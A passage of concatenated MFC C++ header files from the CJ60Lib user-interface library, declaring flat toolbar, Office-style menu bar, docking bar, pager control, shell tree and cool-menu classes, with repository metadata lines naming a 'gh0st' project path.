{ SendMessage(TB_SETROWS, MAKELPARAM(nRows, bLarger), (LPARAM)lpRect); }
int GetRows() const
{ return (int) SendMessageC(TB_GETROWS); }
BOOL SetCmdID(int nIndex, UINT nID)
{ return SendMessage(TB_SETCMDID, nIndex, nID); }
UINT GetBitmapFlags() const
{ return (UINT) SendMessageC(TB_GETBITMAPFLAGS); }
// Wrappers for some of the newer messages--not complete
BOOL SetIndent(int indent)
{ return SendMessage(TB_SETINDENT, indent); }
HIMAGELIST GetImageList() const
{ return (HIMAGELIST)SendMessageC(TB_GETIMAGELIST); }
HIMAGELIST SetImageList(HIMAGELIST hImgList)
{ return (HIMAGELIST)SendMessage(TB_SETIMAGELIST, 0, (LPARAM)hImgList); }
HIMAGELIST GetHotImageList() const
{ return (HIMAGELIST)SendMessageC(TB_GETHOTIMAGELIST); }
HIMAGELIST SetHotImageList(HIMAGELIST hImgList)
{ return (HIMAGELIST)SendMessage(TB_SETHOTIMAGELIST, 0, (LPARAM)hImgList); }
int GetBitmap(UINT nIdButton) const
{ return SendMessageC(TB_GETBITMAP, nIdButton); }
DWORD SetExtendedStyle(DWORD dwStyle)
{ return SendMessage(TB_SETEXTENDEDSTYLE, 0, dwStyle); }
BOOL GetRect(UINT nIdButton, RECT& rc) const
{ return SendMessageC(TB_GETRECT, nIdButton, (LPARAM)&rc); }
DWORD GetToolbarStyle() const
{ return SendMessageC(TB_GETSTYLE); }
void SetToolbarStyle(DWORD dwStyle)
{ SendMessage(TB_SETSTYLE, 0, dwStyle); }
int HitTest(CPoint p) const
{ return SendMessageC(TB_HITTEST, 0, (LPARAM)&p); }
int GetHotItem() const
{ return SendMessageC(TB_GETHOTITEM); }
void SetHotItem(int iHot)
{ SendMessage(TB_SETHOTITEM, iHot); }
BOOL MapAccelerator(TCHAR ch, UINT& nID) const
{ return SendMessageC(TB_MAPACCELERATOR, (WPARAM)ch, (LPARAM)&nID); }
CSize GetPadding() const
{ return SendMessageC(TB_GETPADDING); }
CSize SetPadding(CSize sz)
{ return SendMessage(TB_SETPADDING, 0, MAKELPARAM(sz.cx,sz.cy)); }
protected:
CRect m_rcOldPos; // used when toolbar is moved
DROPDOWNBUTTON* m_pDropDownButtons; // list of dropdown button/menu pairs
BOOL m_bNoEntry; // implementation hack
// override to do your own weird drop-down buttons
virtual void OnDropDownButton(const NMTOOLBAR& nmtb, UINT nID, CRect rc);
DROPDOWNBUTTON* FindDropDownButton(UINT nID);
// helpers
virtual void InvalidateOldPos(const CRect& rcInvalid);
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
afx_msg void OnTbnDropDown(NMHDR* pNMHDR, LRESULT* pRes);
afx_msg void OnWindowPosChanging(LPWINDOWPOS lpWndPos);
afx_msg void OnWindowPosChanged(LPWINDOWPOS lpWndPos);
afx_msg void OnNcCalcSize(BOOL bCalc, NCCALCSIZE_PARAMS* pncp );
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg BOOL OnNcCreate(LPCREATESTRUCT lpcs);
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CFlatToolBar)
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/Include/FlatBar.h | C++ | asf20 | 7,909 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __FIXTB_H
#define __FIXTB_H
//////////////////
// This class fixes the sizing bugs in MFC that calculates the
// size of toolbars incorrectly for modern toobars (comctl32 version >= 4.71)
// It also contains a number of wrappers for function that CToolBar doesn't
// have (so you don't have to use GetToolBarCtrl).
//
// Generally, you should use CFlatToolBar instead of CFixMFCToolBar (even
// if you're not using the flat style), but you can use CFixMFCToolBar if
// all you want is the sizing fix for MFC tooblars.
//
class AFX_EXT_CLASS CFixMFCToolBar : public CToolBar {
public:
CFixMFCToolBar();
virtual ~CFixMFCToolBar();
static int iVerComCtl32; // version of commctl32.dll (eg 471)
// There is a bug in comctl32.dll, version 4.71+ that causes it to
// draw vertical separators in addition to horizontal ones, when the
// toolbar is vertically docked. If the toolbar has no dropdown buttons,
// this is not a problem because the separators are ignored when calculating
// the width of the toolbar. If, however, you have dropdown buttons, then the
// width of a vertically docked toolbar will be too narrow to show the
// dropdown arrow. This is in fact what happens in Visual Studio. If you
// want to show the dropdown arrow when vertical, set this to TRUE
// (default = FALSE)
//
BOOL m_bShowDropdownArrowWhenVertical;
virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz);
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
CSize CalcLayout(DWORD nMode, int nLength = -1);
CSize CalcSize(TBBUTTON* pData, int nCount);
int WrapToolBar(TBBUTTON* pData, int nCount, int nWidth);
void SizeToolBar(TBBUTTON* pData, int nCount, int nLength,
BOOL bVert = FALSE);
virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle);
virtual CSize GetButtonSize(TBBUTTON* pData, int iButton);
// MFC has versions of these that are protected--but why?
//
void GetButton(int nIndex, TBBUTTON* pButton) const;
void SetButton(int nIndex, TBBUTTON* pButton);
protected:
LRESULT OnSizeHelper(CSize& sz, LPARAM lp);
afx_msg LRESULT OnSetBitmapSize(WPARAM, LPARAM);
afx_msg LRESULT OnSetButtonSize(WPARAM, LPARAM);
afx_msg LRESULT OnSettingChange(WPARAM, LPARAM);
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CFixMFCToolBar)
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/Include/FixTB.h | C++ | asf20 | 2,540 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Takehiko Mizoguti
// If this code works, it was written by Takehiko Mizoguti.
// If not, I don't know who wrote it.
//
// CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families.
//
#ifndef __CJFRAMEINFO_H__
#define __CJFRAMEINFO_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
class AFX_EXT_CLASS CCJFrameInfo : public WINDOWPLACEMENT
{
// Construction
public:
CCJFrameInfo();
// Attributes
protected:
CFrameWnd* m_pFrameWnd;
CString m_strSection;
CString m_strEntry;
// Operations
public:
void EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry );
void LoadFramePlacement();
void SaveFramePlacement();
// Implementation
public:
virtual ~CCJFrameInfo();
};
#endif // __CLFRAMEINFO_H__ | 07321-rat | trunk/gh0st/CJ60Lib/Include/CJFrameInfo.h | C++ | asf20 | 881 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __MENUBAR_H
#define __MENUBAR_H
#include "subclass.h"
#include "CJToolBar.h"
//////////////////
// CMenuBar uses this private class to intercept messages on behalf
// of its owning frame, as well as the MDI client window. Conceptually,
// these should be two different hooks, but I want to save code.
//
class CMenuBarFrameHook : public CSubclassWnd {
protected:
friend class CMenuBar;
CMenuBar* m_pMenuBar;
CMenuBarFrameHook();
~CMenuBarFrameHook();
BOOL Install(CMenuBar* pMenuBar, HWND hWndToHook);
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
};
//////////////////
// CMenuBar implements an Office 97-style menu bar. Use it the way you would
// a CToolBar, only you need not call LoadToolbar. All you have to do is
//
// * Create the CMenuBar from your OnCreate or OnCreateBands handler.
//
// * Call LoadMenu to load a menu. This will set your frame's menu to NULL.
//
// * Implemenent your frame's PreTranslateMessage function, to call
// CMenuBar::TranslateFrameMessage.
//
class AFX_EXT_CLASS CMenuBar : public CCJToolBar {
public:
BOOL m_bAutoRemoveFrameMenu; // set frame's menu to NULL
CMenuBar();
~CMenuBar();
// You must call this from your frame's PreTranslateMessage fn
virtual BOOL TranslateFrameMessage(MSG* pMsg);
HMENU LoadMenu(HMENU hmenu); // load menu
HMENU LoadMenu(LPCSTR lpszMenuName); // ...from resource file
HMENU LoadMenu(UINT nID) {
return LoadMenu(MAKEINTRESOURCE(nID));
}
HMENU GetMenu() { return m_hmenu; } // get current menu
enum TRACKINGSTATE { // menubar has three states:
TRACK_NONE = 0, // * normal, not tracking anything
TRACK_BUTTON, // * tracking buttons (F10/Alt mode)
TRACK_POPUP // * tracking popups
};
TRACKINGSTATE GetTrackingState(int& iPopup) {
iPopup = m_iPopupTracking; return m_iTrackingState;
}
static BOOL bTRACE; // set TRUE to see TRACE msgs
protected:
friend class CMenuBarFrameHook;
CMenuBarFrameHook m_frameHook; // hooks frame window messages
CStringArray m_arStrings; // array of menu item names
HMENU m_hmenu; // the menu
// menu tracking stuff:
int m_iPopupTracking; // which popup I'm tracking if any
int m_iNewPopup; // next menu to track
BOOL m_bProcessRightArrow; // process l/r arrow keys?
BOOL m_bProcessLeftArrow; // ...
BOOL m_bEscapeWasPressed; // user pressed escape to exit menu
CPoint m_ptMouse; // mouse location when tracking popup
HMENU m_hMenuTracking; // current popup I'm tracking
TRACKINGSTATE m_iTrackingState; // current tracking state
// helpers
void RecomputeToolbarSize();
void RecomputeMenuLayout();
void UpdateFont();
int GetNextOrPrevButton(int iButton, BOOL bPrev);
void SetTrackingState(TRACKINGSTATE iState, int iButton=-1);
void TrackPopup(int iButton);
void ToggleTrackButtonMode();
void CancelMenuAndTrackNewOne(int iButton);
void OnMenuSelect(HMENU hmenu, UINT nItemID);
CPoint ComputeMenuTrackPoint(const CRect& rcButn, TPMPARAMS& tpm);
BOOL IsValidButton(int iButton) const
{ return 0 <= iButton && iButton < GetButtonCount(); }
virtual BOOL OnMenuInput(MSG& m); // handle popup menu input
// overrides
virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle);
int HitTest(CPoint p) const;
// command/message handlers
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnUpdateMenuButton(CCmdUI* pCmdUI);
afx_msg LRESULT OnSetMenuNull(WPARAM wp, LPARAM lp);
static LRESULT CALLBACK MenuInputFilter(int code, WPARAM wp, LPARAM lp);
DECLARE_DYNAMIC(CMenuBar)
DECLARE_MESSAGE_MAP()
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/Include/MenuBar.h | C++ | asf20 | 4,203 |
// CJSizeDockBar.h : header file
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 12 Jan 1999 - Initial release to add side-by-side
// docking support for CCJControlBar class.
// 1.01 29 Jan 1999 - Made some cosmetic enhancements to more
// closely match DevStudio docking windows.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#ifndef __CJSIZEDOCKBAR_H__
#define __CJSIZEDOCKBAR_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
/////////////////////////////////////////////////////////////////////////////
// CCJSizeDockBar class
class CCJControlBar;
class AFX_EXT_CLASS CCJSizeDockBar : public CDockBar
{
DECLARE_DYNAMIC(CCJSizeDockBar)
// Construction
public:
CCJSizeDockBar();
// Attributes
public:
protected:
int m_iSafeSpace;
CPoint m_ptCurDrag;
CRect m_rcTrack;
CPoint m_ptStartDrag;
BOOL m_bDragging;
BOOL m_bOkToDrag;
HCURSOR m_curHSplitBar;
HCURSOR m_curVSplitBar;
int m_iTrackBorderSize;
int m_iActualSize;
COLORREF m_clrBtnHilite;
COLORREF m_clrBtnShadow;
COLORREF m_clrBtnFace;
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCJSizeDockBar)
public:
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
virtual void DoPaint(CDC *pDC);
virtual BOOL IsDockBar() const;
virtual BOOL IsDockSizeBar() const;
virtual void OnInvertTracker(const CRect&);
virtual void HitTest(const CPoint& point);
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CCJSizeDockBar();
// Generated message map functions
protected:
//{{AFX_MSG(CCJSizeDockBar)
afx_msg void OnNcPaint();
afx_msg void OnNcCalcSize(BOOL bCalcValidRects, NCCALCSIZE_PARAMS FAR* lpncsp);
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg LRESULT OnNcHitTest(CPoint point);
afx_msg void OnNcLButtonDown(UINT nHitTest, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnSysColorChange();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
void Normalize(CCJControlBar*);
void Maximize(CCJControlBar*);
void CalcSizeBarLayout();
void SetActualSize(int iSize);
void EraseNonClient();
void DrawBorders(CDC *pDC,CRect& rect);
void RecalcAllExcept(CCJSizeDockBar *pBar);
CCJControlBar* GetDockedSizeBar(int nPos);
protected:
BOOL IsLastControlBar(int index);
void GetAvailableRect(CRect &rect);
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __CJSIZEDOCKBAR_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/CJSizeDockBar.h | C++ | asf20 | 4,660 |
#ifndef __SHELLPIDL_H__
#define __SHELLPIDL_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
// ShellPidl.h : header file
//
#include <shlobj.h>
/////////////////////////////////////////////////////////////////////////////
// CShellPidl window
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
class AFX_EXT_CLASS CShellPidl
{
public:
// STRUCTURES
typedef struct tagLVID
{
LPSHELLFOLDER lpsfParent;
LPITEMIDLIST lpi;
ULONG ulAttribs;
} LVITEMDATA, *LPLVITEMDATA;
typedef struct tagID
{
LPSHELLFOLDER lpsfParent;
LPITEMIDLIST lpi;
LPITEMIDLIST lpifq;
} TVITEMDATA, *LPTVITEMDATA;
public:
// Functions that deal with PIDLs
LPITEMIDLIST ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2);
LPITEMIDLIST GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi);
LPITEMIDLIST CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi);
BOOL GetName(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi, DWORD dwFlags, LPSTR lpFriendlyName);
LPITEMIDLIST CreatePidl(UINT cbSize);
UINT GetSize(LPCITEMIDLIST pidl);
LPITEMIDLIST Next(LPCITEMIDLIST pidl);
// Utility Functions
BOOL DoTheMenuThing(HWND hwnd, LPSHELLFOLDER lpsfParent, LPITEMIDLIST lpi, LPPOINT lppt);
int GetItemIcon(LPITEMIDLIST lpi, UINT uFlags);
};
#endif // __SHELLTREE_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/ShellPidl.h | C++ | asf20 | 1,552 |
// CJPagerCtrl.h : header file
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 02 Oct 1998 - First release version.
// 1.01 02 Jan 1999 - Cleaned up class source, wrapped all pager
// messages.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#ifndef __CJPAGERCTRL_H__
#define __CJPAGERCTRL_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
/////////////////////////////////////////////////////////////////////////////
// CCJPagerCtrl window
#ifndef PGM_SETCHILD
#error CJPagerCtrl requires a newer version of the SDK than you have!
#error Please update your SDK files.
#endif
class AFX_EXT_CLASS CCJPagerCtrl : public CWnd
{
// Construction
public:
CCJPagerCtrl();
virtual ~CCJPagerCtrl();
// Attributes
public:
protected:
int m_nWidth;
int m_nHeight;
// Operations
public:
void SetScrollArea (int nWidth, int nHeight)
{ m_nWidth = nWidth; m_nHeight = nHeight; }
// CPagerCtrl class wrappers.
void SetChild(HWND hwndChild) { ASSERT(::IsWindow(m_hWnd));
Pager_SetChild(m_hWnd, hwndChild); }
void RecalcSize() { ASSERT(::IsWindow(m_hWnd));
Pager_RecalcSize(m_hWnd); }
void ForwardMouse(BOOL bForward) { ASSERT(::IsWindow(m_hWnd));
Pager_ForwardMouse(m_hWnd, bForward); }
COLORREF SetBkColor(COLORREF clr) { ASSERT(::IsWindow(m_hWnd));
return Pager_SetBkColor(m_hWnd, clr); }
COLORREF GetBkColor() { ASSERT(::IsWindow(m_hWnd));
return Pager_GetBkColor(m_hWnd); }
int SetBorder(int iBorder) { ASSERT(::IsWindow(m_hWnd));
return Pager_SetBorder(m_hWnd, iBorder); }
int GetBorder() { ASSERT(::IsWindow(m_hWnd));
return Pager_GetBorder(m_hWnd); }
int SetPos(int iPos) { ASSERT(::IsWindow(m_hWnd));
return Pager_SetPos(m_hWnd, iPos); }
int GetPos() { ASSERT(::IsWindow(m_hWnd));
return Pager_GetPos(m_hWnd); }
int SetButtonSize(int iSize) { ASSERT(::IsWindow(m_hWnd));
return Pager_SetButtonSize(m_hWnd, iSize); }
int GetButtonSize() { ASSERT(::IsWindow(m_hWnd));
return Pager_GetButtonSize(m_hWnd); }
DWORD GetButtonState(int iButton) { ASSERT(::IsWindow(m_hWnd));
return Pager_GetButtonState(m_hWnd, iButton); }
void GetDropTarget(IDropTarget **ppdt) { ASSERT(::IsWindow(m_hWnd));
Pager_GetDropTarget(m_hWnd, ppdt); }
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCJPagerCtrl)
public:
virtual BOOL Create(DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID);
//}}AFX_VIRTUAL
// Implementation
public:
// Generated message map functions
protected:
//{{AFX_MSG(CCJPagerCtrl)
virtual BOOL OnPagerScroll(NMHDR* pNMPGScroll, LRESULT * pResult);
virtual BOOL OnPagerCalcSize(NMHDR * pNMHDRPGCalcSize, LRESULT* pResult);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __CJPAGERCTRL_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/CJPagerCtrl.h | C++ | asf20 | 4,966 |
#ifndef __SHELLTREE_H__
#define __SHELLTREE_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
// ShellTree.h : header file
//
#include <shlobj.h>
//#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
#include "ShellPidl.h"
/////////////////////////////////////////////////////////////////////////////
// CShellTree window
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 24 Feb 1999 - Overloaded PopulateTree(LPCTSTR lpPath) in the
// class CShellTree to fill the tree based upon
// path. Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// ==========================================================================
/////////////////////////////////////////////////////////////////////////////
class AFX_EXT_CLASS CShellTree : public CTreeCtrl, public CShellPidl
{
public:
enum FindAttribs{type_drive,type_folder};
// Construction
public:
CShellTree();
// Attributes
public:
BOOL m_bOutaHere;
// Operations
public:
void PopulateTree(LPCTSTR lpPath);
void PopulateTree();
void PopulateTree(int nFolder);
void OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult);
void GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult);
BOOL OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath);
void OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult);
void EnableImages();
BOOL GetSelectedFolderPath(CString &szFolderPath);
bool SearchTree(HTREEITEM treeNode, CString szSearchName, FindAttribs attr);
void TunnelTree(CString szFindPath);
LPSHELLFOLDER GetParentShellFolder(HTREEITEM folderNode);
LPITEMIDLIST GetRelativeIDLIST(HTREEITEM folderNode);
LPITEMIDLIST GetFullyQualifiedID(HTREEITEM folderNode);
void FindTreePidl( HTREEITEM nextNode,
HTREEITEM& folderNode,
LPLVITEMDATA lplvid,
bool& valid);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CShellTree)
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CShellTree();
// Generated message map functions
protected:
void FillTreeView(LPSHELLFOLDER lpsf, LPITEMIDLIST lpifq, HTREEITEM hParent);
void GetNormalAndSelectedIcons(LPITEMIDLIST lpifq, LPTV_ITEM lptvitem);
static int CALLBACK TreeViewCompareProc(LPARAM, LPARAM, LPARAM);
//{{AFX_MSG(CShellTree)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __SHELLTREE_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/ShellTree.h | C++ | asf20 | 3,007 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef _SUBCLASSW_H
#define _SUBCLASSW_H
//////////////////
// Generic class to hook messages on behalf of a CWnd.
// Once hooked, all messages go to CSubclassWnd::WindowProc before going
// to the window. Specific subclasses can trap messages and do something.
//
// To use:
//
// * Derive a class from CSubclassWnd.
//
// * Override CSubclassWnd::WindowProc to handle messages. Make sure you call
// CSubclassWnd::WindowProc if you don't handle the message, or your
// window will never get messages. If you write seperate message handlers,
// you can call Default() to pass the message to the window.
//
// * Instantiate your derived class somewhere and call HookWindow(pWnd)
// to hook your window, AFTER it has been created.
// To unhook, call HookWindow(NULL).
//
// This is a very important class, crucial to many of the widgets Window
// widgets implemented in PixieLib. To see how it works, look at the HOOK
// sample program.
//
class CSubclassWnd : public CObject {
public:
DECLARE_DYNAMIC(CSubclassWnd);
CSubclassWnd();
~CSubclassWnd();
// Subclass a window. Hook(NULL) to unhook (automatic on WM_NCDESTROY)
BOOL HookWindow(HWND hwnd);
BOOL HookWindow(CWnd* pWnd) { return HookWindow(pWnd->GetSafeHwnd()); }
BOOL IsHooked() { return m_hWnd!=NULL; }
friend LRESULT CALLBACK HookWndProc(HWND, UINT, WPARAM, LPARAM);
friend class CSubclassWndMap;
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
HWND m_hWnd; // the window hooked
WNDPROC m_pOldWndProc; // ..and original window proc
CSubclassWnd* m_pNext; // next in chain of hooks for this window
// Override this to handle messages in specific handlers
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
LRESULT Default(); // call this at the end of handler fns
};
#endif // _SUBCLASSW_H
| 07321-rat | trunk/gh0st/CJ60Lib/Include/Subclass.h | C++ | asf20 | 2,129 |
////////////////////////////////////////////////////////////////
// 199 Microsoft Systems Journal.
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 13 Aug 1998 - Andrew Bancroft [ABancroft@lgc.com] - Since we've already
// added the entire toolbar to the imagelist we need to
// increment nNextImage even if we didn't add this button to
// m_mapIDtoImage in the LoadToolbar() method.
// 1.01a 13 Aug 1998 - Peter Tewkesbury - Added AddSingleBitmap(...)
// method for adding a single bitmap to a pulldown
// menu item.
// 1.02 13 Aug 1998 - Omar L Francisco - Fixed bug with lpds->CtlType
// and lpds->itemData item checking.
// 1.03 12 Nov 1998 - Fixes debug assert in system menu. - Wang Jun
// 1.04 17 Nov 1998 - Fixes debug assert when you maximize a view - Wang Jun
// window, then try to use the system menu for the view.
// 1.05 09 Jan 1998 - Seain B. Conover [sc@tarasoft.com] - Fix for virtual
// key names.
// 1.06 24 Feb 1999 - Michael Lange [michael.home@topdogg.com] - Fix for memory
// leak in CMyItemData structure, added a destructor that
// calls text.Empty().
// - Boris Kartamishev [kbv@omegasoftware.com] - Fix for resource
// ID bug.
// - Jeremy Horgan [jeremyhorgan@hotmail.com] - During
// accelerator key processing OnInitMenuPopup() calls
// ConvertMenu() which allocates a new CMyItemData for each
// menu item. This is memory is normally freed by a call to
// OnMenuSelect(), which is not called when processing
// accelerator keys. This results in a memory leak. This was
// fixed by modifying the ~CCoolMenuManager() destructor.
// 1.07 24 Feb 1999 - Koji MATSUNAMI [kmatsu@inse.co.jp] - Fixed problem with
// popup menus being drawn correctly as cool menus.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#ifndef __COOLMENU_H__
#define __COOLMENU_H__
#include "SubClass.h"
//////////////////
// CCoolMenuManager implements "cool" menus with buttons in them. To use:
//
// * Instantiate in your CMainFrame.
// * Call Install to install it
// * Call LoadToolbars or LoadToolbar to load toolbars
//
// Don't forget to link with CoolMenu.cpp, Subclass.cpp and DrawTool.cpp!
//
class AFX_EXT_CLASS CCoolMenuManager : private CSubclassWnd {
public:
DECLARE_DYNAMIC(CCoolMenuManager)
CCoolMenuManager();
~CCoolMenuManager();
// You can set these any time
BOOL m_bShowButtons; // use to control whether buttons are shown
BOOL m_bAutoAccel; // generate auto accelerators
BOOL m_bUseDrawState; // use ::DrawState for disabled buttons
BOOL m_bDrawDisabledButtonsInColor; // draw disabled buttons in color
// (only if m_bUseDrawState = FALSE)
// public functions to use
void Install(CFrameWnd* pFrame); // connect to main frame
BOOL LoadToolbars(const UINT* arIDs, int n); // load multiple toolbars
BOOL LoadToolbar(UINT nID); // load one toolbar
BOOL AddSingleBitmap(UINT nBitmapID, UINT n, UINT *nID);
// should never need to call:
virtual void Destroy(); // destroys everything--to re-load new toolbars?
virtual void Refresh(); // called when system colors, etc change
static HBITMAP GetMFCDotBitmap(); // get..
static void FixMFCDotBitmap(); // and fix MFC's dot bitmap
static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code
protected:
CFrameWnd* m_pFrame; // frame window I belong to
CUIntArray m_arToolbarID; // array of toolbar IDs loaded
CImageList m_ilButtons; // image list for all buttons
CMapWordToPtr m_mapIDtoImage;// maps command ID -> image list index
CMapWordToPtr m_mapIDtoAccel;// maps command ID -> ACCEL*
HACCEL m_hAccel; // current accelerators, if any
ACCEL* m_pAccel; // ..and table in memory
CPtrList m_menuList; // list of HMENU's initialized
CSize m_szBitmap; // size of button bitmap
CSize m_szButton; // size of button (including shadow)
CFont m_fontMenu; // menu font
// helpers
void DestroyAccel();
void DrawMenuText(CDC& dc, CRect rc, CString text, COLORREF color);
BOOL Draw3DCheckmark(CDC& dc, const CRect& rc, BOOL bSelected,
HBITMAP hbmCheck=NULL);
void ConvertMenu(CMenu* pMenu,UINT nIndex,BOOL bSysMenu,BOOL bShowButtons);
void LoadAccel(HACCEL hAccel);
CString GetVirtualKeyName( const CString strVirtKey ) const;
BOOL AppendAccelName(CString& sItemName, UINT nID);
CFont* GetMenuFont();
// Get button index for given command ID, or -1 if not found
int GetButtonIndex(WORD nID) {
void* val;
return m_mapIDtoImage.Lookup(nID, val) ? (int)val : -1;
}
// Get ACCEL structure associated with a given command ID
ACCEL* GetAccel(WORD nID) {
void* val;
return m_mapIDtoAccel.Lookup(nID, val) ? (ACCEL*)val : NULL;
}
// window proc to hook frame using CSubclassWnd implementation
virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp);
// CSubclassWnd message handlers
virtual void OnInitMenuPopup(CMenu* pMenu, UINT nIndex, BOOL bSysMenu);
